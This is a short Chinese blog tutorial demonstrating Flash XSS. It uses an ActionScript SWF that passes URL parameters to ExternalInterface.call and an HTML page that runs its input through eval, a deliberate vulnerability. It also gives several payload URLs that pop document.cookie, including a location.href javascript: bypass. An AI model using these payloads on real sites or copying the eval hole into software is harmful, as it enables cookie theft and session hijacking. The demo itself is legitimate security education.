zoukankan      html  css  js  c++  java
  • Flash XSS

    示例:

    创建一个测试flash,代码如下,导出swf文件

    //取m参数

    var m=_root.m;

    //取showInfo参数

    var showInfo=_root.showInfo;

    //调用html中Javascript中的m方法,参数为showInfo

    flash.external.ExternalInterface.call(m,showInfo);

     ExternalInterface

    在HTML中引用flash:

    <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

    <html>

    <head>

    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <title>Flash XSS</title>

    </head>

    <script>

    function showInfo(info){

        eval(info)

    }

    </script>

    <body>

    <embed src="test.swf?m=showInfo&showInfo=alert(document.cookie)" allowscriptaccess="always"></embed>

    <div id=info></div>

    </body>

    </html>

    成功执行执行攻击代码,弹出cookie。

    上面演示的执行,其实还可以直接执行反射XSS。

    由于Javascript中可以使用匿名函数function(){代码}进行执行。

    如:

    http://localhost:8080/JavaTest/xss/test.swf?m=function(){alert(/xss/)}&showInfo=s

     

    成功弹出,试试弹出cookie。

    http://localhost:8080/JavaTest/xss/test.swf?m=function(){alert(document.cookie)}&showInfo=s

    没有弹出任何东西,因为这里没有document对象,这里我们利用location.href来生成HTML代码

    http://localhost:8080/JavaTest/xss/test.swf?m=function(){location.href="javascript:'<script>alert(document.cookie)</script>'"}&showInfo=s

    将攻击代码输入到HTML中了。

    成功执行了弹出cookie。

     

  • 相关阅读:
    设计模式之命令模式
    设计模式之享元模式
    设计模式之建造者模式
    设计模式之策略模式
    设计模式之责任链模式
    maven打包三种方式
    java native:Java本地方法调用(jni方式)
    数据库五大约束使用方法
    数据库连接池的配置方式(阿里,日本)
    tomcat数据库连接池的几种配置方法
  • 原文地址:https://www.cnblogs.com/vege/p/12984642.html
Copyright © 2011-2022 走看看